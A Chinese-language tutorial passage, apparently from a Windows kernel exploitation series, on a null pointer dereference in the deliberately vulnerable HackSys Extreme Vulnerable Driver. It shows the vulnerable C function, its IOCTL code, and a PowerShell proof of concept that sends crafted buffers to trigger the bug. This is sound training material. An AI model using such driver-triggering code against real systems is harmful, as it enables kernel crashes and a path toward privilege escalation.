返回介绍

侦查挑战

发布于 2025-01-03 23:32:56 字数 5840 浏览 0 评论 0 收藏 0

先看一看有漏洞的函数部分( here ).。

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
  ULONG UserValue = 0;
  ULONG MagicValue = 0xBAD0B0B0;
  NTSTATUS Status = STATUS_SUCCESS;
  PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
  PAGED_CODE();
 
  __try {
    // Verify if the buffer resides in user mode
    ProbeForRead(UserBuffer,
           sizeof(NULL_POINTER_DEREFERENCE),
           (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
 
    // Allocate Pool chunk
    NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                  ExAllocatePoolWithTag(NonPagedPool,
                            sizeof(NULL_POINTER_DEREFERENCE),
                            (ULONG)POOL_TAG);
 
    if (!NullPointerDereference) {
      // Unable to allocate Pool chunk
      DbgPrint("[-] Unable to allocate Pool chunk\n");
 
      Status = STATUS_NO_MEMORY;
      return Status;
    }
    else {
      DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
      DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
      DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
      DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
    }
 
    // Get the value from user mode
    UserValue = *(PULONG)UserBuffer;
 
    DbgPrint("[+] UserValue: 0x%p\n", UserValue);
    DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
    // Validate the magic value
    if (UserValue == MagicValue) {
      NullPointerDereference->Value = UserValue;
      NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
      DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
      DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
    }
    else {
      DbgPrint("[+] Freeing NullPointerDereference Object\n");
      DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
      DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
      // Free the allocated Pool chunk
      ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
 
      // Set to NULL to avoid dangling pointer
      NullPointerDereference = NULL;
    }
 
#ifdef SECURE
    // Secure Note: This is secure because the developer is checking if
    // 'NullPointerDereference' is not NULL before calling the callback function
    if (NullPointerDereference) {
      NullPointerDereference->Callback();
    }
#else
    DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
    // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
    // because the developer is not validating if 'NullPointerDereference' is NULL
    // before calling the callback function
    NullPointerDereference->Callback();
#endif
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[-] Exception Code: 0x%X\n", Status);
  }
 
  return Status;
}

可以看到这里有一个魔数的检查。如果检查通过则打印该值和回调函数的地址(这是正常的执行流),反之则释放池内存,将指针置空。到这里都没有什么问题,但是此后,在有漏洞的版本中,该驱动程序仅仅简单的调用了回调函数而没有检查该回调函数此前是否被置空了。

该函数的 IOCTL 码是 0x22202B。关于如何识别 IOCTL 码,请参考本系列文章的第十部分和第十一部分。让我们快速的跳入到 IDA 中来看看该函数。

因此,如果我们调用了 TriggerNullPointerDereference 函数并传入该魔数,理论上我们应该会执行到该函数且不会触发空指针引用。使用下面的 POC 来进行测试。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
  
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
  
  [DllImport("kernel32.dll")]
  public static extern uint GetLastError();
}
"@
  
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
  
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
 
$Buffer = [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22202B`n"
[EVD]::DeviceIoControl($hDevice, 0x22202B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

完美,没有崩溃,没有触发异常。如果魔数不匹配的话,我们就会进入调用空指针回调函数的代码块。

此后我们跳入到下一个指令块,这里空指针引用被触发。

很好,让我们在此函数下个断点并验证我们的理论!我们需要做的仅仅是传递一个不匹配的魔数(例如:0xdeadb33f)。

切实触发了空指针引用。你可能从上面的 C++代码中注意到了这里触发了一个驱动异常例程。这非常好毕竟我们无需以 BSOD 告终。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文